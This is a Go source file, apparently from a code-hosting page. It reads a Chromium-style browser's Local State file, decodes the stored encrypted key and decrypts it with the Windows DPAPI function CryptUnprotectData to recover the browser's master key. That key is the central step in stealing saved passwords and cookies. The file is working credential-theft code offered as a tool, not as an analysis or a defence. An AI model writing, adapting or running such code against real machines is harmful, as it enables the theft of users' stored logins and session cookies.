80 lines
1.7 KiB
Go
80 lines
1.7 KiB
Go
package browser
|
|
|
|
import (
|
|
"encoding/base64"
|
|
"encoding/json"
|
|
"fmt"
|
|
"os"
|
|
"syscall"
|
|
"unicode/utf8"
|
|
"unsafe"
|
|
)
|
|
|
|
var (
|
|
crypt32 = syscall.NewLazyDLL("crypt32.dll")
|
|
kernel32 = syscall.NewLazyDLL("kernel32.dll")
|
|
procCryptUnprotectData = crypt32.NewProc("CryptUnprotectData")
|
|
procLocalFree = kernel32.NewProc("LocalFree")
|
|
)
|
|
|
|
type DataBlob struct {
|
|
cbData uint32
|
|
pbData *byte
|
|
}
|
|
|
|
func getMasterKey(path string, result chan<- []byte) {
|
|
var encryptedBase64Key struct {
|
|
OSCrypt struct {
|
|
EncryptedKey string `json:"encrypted_key"`
|
|
} `json:"os_crypt"`
|
|
}
|
|
|
|
file, err := os.ReadFile(path)
|
|
if err != nil {
|
|
fmt.Printf("[!] Error reading LocalState file %s: %s\n", path, err)
|
|
}
|
|
|
|
if err := json.Unmarshal(file, &encryptedBase64Key); err != nil {
|
|
fmt.Printf("[!] Error parsing JSON: %s\n", err)
|
|
}
|
|
|
|
encryptedKey, err := base64.StdEncoding.DecodeString(encryptedBase64Key.OSCrypt.EncryptedKey)
|
|
if err != nil {
|
|
fmt.Printf("[!] Error decoding base64: %s\n", err)
|
|
}
|
|
|
|
for i := 0; i < 5; i++ {
|
|
_, size := utf8.DecodeRune(encryptedKey)
|
|
encryptedKey = encryptedKey[size:]
|
|
}
|
|
|
|
encryptedBlob := DataBlob{
|
|
cbData: uint32(len(encryptedKey)),
|
|
pbData: &encryptedKey[0],
|
|
}
|
|
|
|
var outBlob DataBlob
|
|
|
|
ret, _, err := procCryptUnprotectData.Call(
|
|
uintptr(unsafe.Pointer(&encryptedBlob)),
|
|
0,
|
|
0,
|
|
0,
|
|
0,
|
|
0,
|
|
uintptr(unsafe.Pointer(&outBlob)),
|
|
)
|
|
|
|
if ret == 0 {
|
|
fmt.Println("[!] CryptUnprotectData failed:", err)
|
|
return
|
|
}
|
|
|
|
decryptedKey := make([]byte, outBlob.cbData)
|
|
copy(decryptedKey, (*[1 << 20]byte)(unsafe.Pointer(outBlob.pbData))[:outBlob.cbData:outBlob.cbData])
|
|
|
|
procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
|
|
|
|
result <- decryptedKey
|
|
}
|